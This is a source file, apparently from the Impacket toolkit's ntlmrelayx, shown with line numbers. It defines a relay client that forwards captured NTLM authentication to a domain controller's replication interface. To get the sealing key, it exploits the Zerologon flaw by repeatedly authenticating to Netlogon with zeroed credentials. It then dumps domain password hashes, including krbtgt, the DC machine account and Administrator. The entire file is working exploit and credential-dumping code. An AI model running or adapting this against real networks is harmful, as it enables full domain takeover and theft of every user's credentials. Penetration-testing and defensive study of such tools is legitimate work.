Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# Impacket - Collection of Python classes for working with network protocols. 

2# 

3# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 

4# 

5# This software is provided under a slightly modified version 

6# of the Apache Software License. See the accompanying LICENSE file 

7# for more information. 

8# 

9# Author: 

10# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 

11# Alberto Solino (@agsolino) 

12# Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/) 

13# 

14 

15from struct import unpack, pack 

16from binascii import hexlify, unhexlify 

17import traceback 

18from Cryptodome.Cipher import ARC4 

19from impacket import LOG, ntlm 

20from impacket.smbconnection import SMBConnection 

21from impacket.examples.ntlmrelayx.clients import ProtocolClient 

22from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 

23from impacket.ntlm import NTLMAuthChallenge, generateEncryptedSessionKey, NTLMAuthChallengeResponse, AV_PAIRS, NTLMSSP_AV_HOSTNAME, \ 

24 NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SEAL 

25from impacket.spnego import SPNEGO_NegTokenResp 

26from impacket.dcerpc.v5 import transport, rpcrt, epm, drsuapi, nrpc 

27from impacket.dcerpc.v5.ndr import NDRCALL 

28from impacket.dcerpc.v5.dtypes import NULL 

29from impacket.dcerpc.v5.rpcrt import DCERPC_v5, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck, \ 

30 MSRPCRespHeader, MSRPCBindNak, DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_CONNECT, \ 

31 rpc_status_codes, rpc_provider_reason, RPC_C_AUTHN_LEVEL_PKT_PRIVACY 

32from impacket.examples.secretsdump import RemoteOperations, SAMHashes, NTDSHashes 

33 

34PROTOCOL_CLIENT_CLASS = "DCSYNCRelayClient" 

35 

36class DCSYNCRelayClientException(Exception): 

37 pass 

38 

39class MYDCERPC_v5(DCERPC_v5): 

40 def __init__(self, transport): 

41 DCERPC_v5.__init__(self, transport) 

42 

43 def sendBindType1(self, iface_uuid, auth_data): 

44 bind = MSRPCBind() 

45 

46 item = CtxItem() 

47 item['AbstractSyntax'] = iface_uuid 

48 item['TransferSyntax'] = self.transfer_syntax 

49 item['ContextID'] = 0 

50 item['TransItems'] = 1 

51 bind.addCtxItem(item) 

52 

53 packet = MSRPCHeader() 

54 packet['type'] = rpcrt.MSRPC_BIND 

55 packet['pduData'] = bind.getData() 

56 packet['call_id'] = 0 

57 

58 sec_trailer = SEC_TRAILER() 

59 sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT 

60 sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_PKT_PRIVACY 

61 sec_trailer['auth_ctx_id'] = 79231 

62 

63 pad = (4 - (len(packet.get_packet()) % 4)) % 4 

64 if pad != 0: 

65 packet['pduData'] += b'\xFF' * pad 

66 sec_trailer['auth_pad_len'] = pad 

67 

68 packet['sec_trailer'] = sec_trailer 

69 packet['auth_data'] = auth_data 

70 

71 self._transport.send(packet.get_packet()) 

72 

73 s = self._transport.recv() 

74 

75 if s != 0: 

76 resp = MSRPCHeader(s) 

77 else: 

78 return 0 #mmm why not None? 

79 

80 if resp['type'] == rpcrt.MSRPC_BINDACK or resp['type'] == rpcrt.MSRPC_ALTERCTX_R: 

81 bindResp = MSRPCBindAck(resp.getData()) 

82 elif resp['type'] == rpcrt.MSRPC_BINDNAK or resp['type'] == rpcrt.MSRPC_FAULT: 

83 if resp['type'] == rpcrt.MSRPC_FAULT: 

84 resp = MSRPCRespHeader(resp.getData()) 

85 status_code = unpack('<L', resp['pduData'][:4])[0] 

86 else: 

87 resp = MSRPCBindNak(resp['pduData']) 

88 status_code = resp['RejectedReason'] 

89 if status_code in rpc_status_codes: 

90 raise DCERPCException(error_code = status_code) 

91 elif status_code in rpc_provider_reason: 

92 raise DCERPCException("Bind context rejected: %s" % rpc_provider_reason[status_code]) 

93 else: 

94 raise DCERPCException('Unknown DCE RPC fault status code: %.8x' % status_code) 

95 else: 

96 raise DCERPCException('Unknown DCE RPC packet type received: %d' % resp['type']) 

97 

98 self.set_max_tfrag(bindResp['max_rfrag']) 

99 

100 return bindResp 

101 

102 def sendBindType3(self, auth_data): 

103 sec_trailer = SEC_TRAILER() 

104 sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT 

105 sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_PKT_PRIVACY 

106 sec_trailer['auth_ctx_id'] = 79231 

107 

108 auth3 = MSRPCHeader() 

109 auth3['type'] = rpcrt.MSRPC_AUTH3 

110 

111 # pad (4 bytes): Can be set to any arbitrary value when set and MUST be 

112 # ignored on receipt. The pad field MUST be immediately followed by a 

113 # sec_trailer structure whose layout, location, and alignment are as 

114 # specified in section 2.2.2.11 

115 auth3['pduData'] = b' ' 

116 auth3['sec_trailer'] = sec_trailer 

117 auth3['auth_data'] = auth_data 

118 auth3['call_id'] = 0 

119 

120 self._transport.send(auth3.get_packet(), forceWriteAndx = 1) 

121 

122# Special class that allows skipping Samr connections (they are not strictly needed) 

123class PatchedRemoteOperations(RemoteOperations): 

124 

125 def getMachineNameAndDomain(self): 

126 return '', '' 

127 

128 def connectSamr(self, domain): 

129 return 

130 

131class DCSYNCRelayClient(ProtocolClient): 

132 """ 

133 DCSync relay client. Relays to DRSUAPI directly. Since this requires signing+sealing, it 

134 invokes the Zerologon vulnerability to impersonate the DC and grab the session key over Netlogon. 

135 """ 

136 PLUGIN_NAME = "DCSYNC" 

137 

138 def __init__(self, serverConfig, target, targetPort=None, extendedSecurity=True): 

139 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 

140 

141 self.endpoint = serverConfig.rpc_mode 

142 

143 self.endpoint_uuid = drsuapi.MSRPC_UUID_DRSUAPI 

144 

145 LOG.debug("Connecting to ncacn_ip_tcp:%s[135] to determine %s stringbinding" % (target.netloc, self.endpoint)) 

146 self.stringbinding = epm.hept_map(target.netloc, self.endpoint_uuid, protocol='ncacn_ip_tcp') 

147 

148 LOG.debug("%s stringbinding is %s" % (self.endpoint, self.stringbinding)) 

149 

150 def initConnection(self): 

151 rpctransport = transport.DCERPCTransportFactory(self.stringbinding) 

152 

153 if self.serverConfig.rpc_use_smb: 

154 LOG.info("Authenticating to smb://%s:%d with creds provided in cmdline" % (self.target.netloc, self.serverConfig.rpc_smb_port)) 

155 rpctransport.set_credentials(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \ 

156 self.serverConfig.smblmhash, self.serverConfig.smbnthash) 

157 rpctransport.set_dport(self.serverConfig.rpc_smb_port) 

158 

159 self.session = MYDCERPC_v5(rpctransport) 

160 self.session.set_auth_level(rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 

161 self.session.connect() 

162 

163 return True 

164 

165 def sendNegotiate(self, auth_data): 

166 negoMessage = NTLMAuthNegotiate() 

167 negoMessage.fromString(auth_data) 

168 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0: 

169 negoMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL 

170 self.negotiateMessage = negoMessage.getData() 

171 bindResp = self.session.sendBindType1(self.endpoint_uuid, self.negotiateMessage) 

172 

173 self.challenge = NTLMAuthChallenge() 

174 self.challenge.fromString(bindResp['auth_data']) 

175 

176 return self.challenge 

177 

178 def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 

179 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 

180 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 

181 auth_data = respToken2['ResponseToken'] 

182 else: 

183 auth_data = authenticateMessageBlob 

184 

185 remoteOps = None 

186 try: 

187 signingkey = self.netlogonSessionKey(serverChallenge, authenticateMessageBlob) 

188 # Something failed 

189 if signingkey == 0: 

190 return 

191 self.session.set_session_key(signingkey) 

192 authenticateMessage = NTLMAuthChallengeResponse() 

193 authenticateMessage.fromString(auth_data) 

194 

195 # Recalc mic 

196 authenticateMessage['MIC'] = b'\x00' * 16 

197 if authenticateMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0: 

198 authenticateMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL 

199 newmic = ntlm.hmac_md5(signingkey, self.negotiateMessage + self.challenge.getData() + authenticateMessage.getData()) 

200 authenticateMessage['MIC'] = newmic 

201 self.session.sendBindType3(authenticateMessage.getData()) 

202 

203 # Now perform DRS bind 

204 # This code comes from secretsdump directly 

205 request = drsuapi.DRSBind() 

206 request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID 

207 drs = drsuapi.DRS_EXTENSIONS_INT() 

208 drs['cb'] = len(drs) #- 4 

209 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \ 

210 drsuapi.DRS_EXT_STRONG_ENCRYPTION 

211 drs['SiteObjGuid'] = drsuapi.NULLGUID 

212 drs['Pid'] = 0 

213 drs['dwReplEpoch'] = 0 

214 drs['dwFlagsExt'] = 0 

215 drs['ConfigObjGUID'] = drsuapi.NULLGUID 

216 # I'm uber potential (c) Ben 

217 drs['dwExtCaps'] = 0xffffffff 

218 request['pextClient']['cb'] = len(drs) 

219 request['pextClient']['rgb'] = list(drs.getData()) 

220 resp = self.session.request(request) 

221 

222 # Initialize remoteoperations 

223 if self.serverConfig.smbuser != '': 

224 smbConnection = SMBConnection(self.target.netloc, self.target.netloc) 

225 smbConnection.login(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \ 

226 self.serverConfig.smblmhash, self.serverConfig.smbnthash) 

227 remoteOps = RemoteOperations(smbConnection, False) 

228 else: 

229 remoteOps = PatchedRemoteOperations(None, False) 

230 

231 # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data. 

232 drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT() 

233 

234 # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right. 

235 ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * ( 

236 len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb']) 

237 drsExtensionsInt.fromString(ppextServer) 

238 

239 if drsExtensionsInt['dwReplEpoch'] != 0: 

240 # Different epoch, we have to call DRSBind again 

241 LOG.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[ 

242 'dwReplEpoch']) 

243 drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch'] 

244 request['pextClient']['cb'] = len(drs) 

245 request['pextClient']['rgb'] = list(drs.getData()) 

246 resp = self.session.request(request) 

247 

248 remoteOps._RemoteOperations__hDrs = resp['phDrs'] 

249 

250 domainName = authenticateMessage['domain_name'].decode('utf-16le') 

251 # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges 

252 resp = drsuapi.hDRSDomainControllerInfo(self.session, remoteOps._RemoteOperations__hDrs, domainName, 2) 

253 # LOG.debug('DRSDomainControllerInfo() answer') 

254 # resp.dump() 

255 

256 if resp['pmsgOut']['V2']['cItems'] > 0: 

257 remoteOps._RemoteOperations__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] 

258 else: 

259 LOG.error("Couldn't get DC info for domain %s" % domainName) 

260 raise Exception('Fatal, aborting') 

261 remoteOps._RemoteOperations__drsr = self.session 

262 

263 # Initialize NTDSHashes object 

264 if self.serverConfig.smbuser != '': 

265 # We can dump all :) 

266 nh = NTDSHashes(None, None, isRemote=True, history=False, 

267 noLMHash=False, remoteOps=remoteOps, 

268 useVSSMethod=False, justNTLM=False, 

269 pwdLastSet=False, resumeSession=None, 

270 outputFileName='hashes', justUser=None, 

271 printUserStatus=False) 

272 nh.dump() 

273 else: 

274 # Most important, krbtgt 

275 nh = NTDSHashes(None, None, isRemote=True, history=False, 

276 noLMHash=False, remoteOps=remoteOps, 

277 useVSSMethod=False, justNTLM=False, 

278 pwdLastSet=False, resumeSession=None, 

279 outputFileName='hashes', justUser=domainName + '/krbtgt', 

280 printUserStatus=False) 

281 nh.dump() 

282 # Also important, DC hash (to sync fully) 

283 av_pairs = authenticateMessage['ntlm'][44:] 

284 av_pairs = AV_PAIRS(av_pairs) 

285 serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') 

286 nh = NTDSHashes(None, None, isRemote=True, history=False, 

287 noLMHash=False, remoteOps=remoteOps, 

288 useVSSMethod=False, justNTLM=False, 

289 pwdLastSet=False, resumeSession=None, 

290 outputFileName='hashes', justUser=domainName + '/' + serverName + '$', 

291 printUserStatus=False) 

292 nh.dump() 

293 # Finally, builtin\Administrator providing it was not renamed 

294 try: 

295 nh = NTDSHashes(None, None, isRemote=True, history=False, 

296 noLMHash=False, remoteOps=remoteOps, 

297 useVSSMethod=False, justNTLM=False, 

298 pwdLastSet=False, resumeSession=None, 

299 outputFileName='hashes', justUser=domainName + '/Administrator', 

300 printUserStatus=False) 

301 nh.dump() 

302 except Exception: 

303 LOG.error('Could not dump administrator (renamed?)') 

304 

305 return None, STATUS_SUCCESS 

306 except Exception as e: 

307 traceback.print_exc() 

308 finally: 

309 if remoteOps is not None: 

310 remoteOps.finish() 

311 

312 def netlogonSessionKey(self, challenge, authenticateMessageBlob): 

313 # Here we will use netlogon to get the signing session key 

314 LOG.info("Connecting to %s NETLOGON service" % self.target.netloc) 

315 

316 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 

317 authenticateMessage = NTLMAuthChallengeResponse() 

318 authenticateMessage.fromString(respToken2['ResponseToken']) 

319 domainName = authenticateMessage['domain_name'].decode('utf-16le') 

320 flags = authenticateMessage['flags'] 

321 try: 

322 av_pairs = authenticateMessage['ntlm'][44:] 

323 av_pairs = AV_PAIRS(av_pairs) 

324 

325 serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') 

326 except: 

327 LOG.debug("Exception:", exc_info=True) 

328 # We're in NTLMv1, not supported 

329 return STATUS_ACCESS_DENIED 

330 

331 binding = epm.hept_map(self.target.netloc, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') 

332 

333 dce = transport.DCERPCTransportFactory(binding).get_dce_rpc() 

334 dce.connect() 

335 dce.bind(nrpc.MSRPC_UUID_NRPC) 

336 MAX_ATTEMPTS = 6000 

337 for attempt in range(0, MAX_ATTEMPTS): 

338 resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', b'\x00'*8) 

339 

340 serverChallenge = resp['ServerChallenge'] 

341 

342 ppp = b'\x00'*8 

343 try: 

344 nrpc.hNetrServerAuthenticate3(dce, NULL, serverName + '$\x00', 

345 nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, serverName + '\x00', 

346 ppp, 0x212effef) 

347 except nrpc.DCERPCSessionError as ex: 

348 # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. 

349 if ex.get_error_code() == 0xc0000022: 

350 continue 

351 else: 

352 LOG.error('Unexpected error code from DC: %d.', ex.get_error_code()) 

353 except BaseException as ex: 

354 LOG.error('Unexpected error: %s', str(ex)) 

355 LOG.info('Netlogon Auth OK, successfully bypassed autentication using Zerologon after %d attempts!', attempt) 

356 break 

357 else: 

358 LOG.error('No success bypassing auth after 6000 attempts. Target likely patched!') 

359 return 

360 clientStoredCredential = pack('<Q', unpack('<Q',ppp)[0] + 10) 

361 

362 # Now let's try to verify the security blob against the PDC 

363 

364 lflags = unpack('<L', b'\xe0\x2a\x00\x00')[0] 

365 request = nrpc.NetrLogonSamLogonWithFlags() 

366 request['LogonServer'] = '\x00' 

367 request['ComputerName'] = serverName + '\x00' 

368 request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 

369 

370 request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation 

371 request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation 

372 request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName 

373 request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = lflags 

374 request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[ 

375 'user_name'].decode('utf-16le') 

376 request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = '' 

377 request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = challenge 

378 request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm'] 

379 request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman'] 

380 

381 authenticator = nrpc.NETLOGON_AUTHENTICATOR() 

382 authenticator['Credential'] = b'\x00'*8 #nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey) 

383 authenticator['Timestamp'] = 0 

384 

385 request['Authenticator'] = authenticator 

386 request['ReturnAuthenticator']['Credential'] = b'\x00'*8 

387 request['ReturnAuthenticator']['Timestamp'] = 0 

388 request['ExtraFlags'] = 0 

389 #request.dump() 

390 try: 

391 resp = dce.request(request) 

392 #resp.dump() 

393 except DCERPCException as e: 

394 LOG.debug('Exception:', exc_info=True) 

395 LOG.error(str(e)) 

396 return e.get_error_code() 

397 

398 LOG.info("%s\\%s successfully validated through NETLOGON" % ( 

399 domainName, authenticateMessage['user_name'].decode('utf-16le'))) 

400 

401 encryptedSessionKey = authenticateMessage['session_key'] 

402 if encryptedSessionKey != '': 

403 signingKey = generateEncryptedSessionKey( 

404 resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey) 

405 else: 

406 signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey'] 

407 

408 LOG.info("NTLM Sign/seal key: %s " % hexlify(signingKey).decode('utf-8')) 

409 if flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY: 

410 self.session._DCERPC_v5__clientSigningKey = ntlm.SIGNKEY(flags, signingKey) 

411 self.session._DCERPC_v5__serverSigningKey = ntlm.SIGNKEY(flags, signingKey,b"Server") 

412 self.session._DCERPC_v5__clientSealingKey = ntlm.SEALKEY(flags, signingKey) 

413 self.session._DCERPC_v5__serverSealingKey = ntlm.SEALKEY(flags, signingKey,b"Server") 

414 # Preparing the keys handle states 

415 cipher3 = ARC4.new(self.session._DCERPC_v5__clientSealingKey) 

416 self.session._DCERPC_v5__clientSealingHandle = cipher3.encrypt 

417 cipher4 = ARC4.new(self.session._DCERPC_v5__serverSealingKey) 

418 self.session._DCERPC_v5__serverSealingHandle = cipher4.encrypt 

419 else: 

420 # Same key for everything 

421 self.session._DCERPC_v5__clientSigningKey = signingKey 

422 self.session._DCERPC_v5__serverSigningKey = signingKey 

423 self.session._DCERPC_v5__clientSealingKey = signingKey 

424 self.session._DCERPC_v5__serverSealingKey = signingKey 

425 cipher = ARC4.new(self.session._DCERPC_v5__clientSigningKey) 

426 self.session._DCERPC_v5__clientSealingHandle = cipher.encrypt 

427 self.session._DCERPC_v5__serverSealingHandle = cipher.encrypt 

428 self.session._DCERPC_v5__sequence = 0 

429 self.session._DCERPC_v5__flags = flags 

430 return signingKey 

431 

432 def killConnection(self): 

433 if self.session is not None: 

434 self.session.get_rpc_transport().disconnect() 

435 self.session = None 

436 

437 def keepAlive(self): 

438 return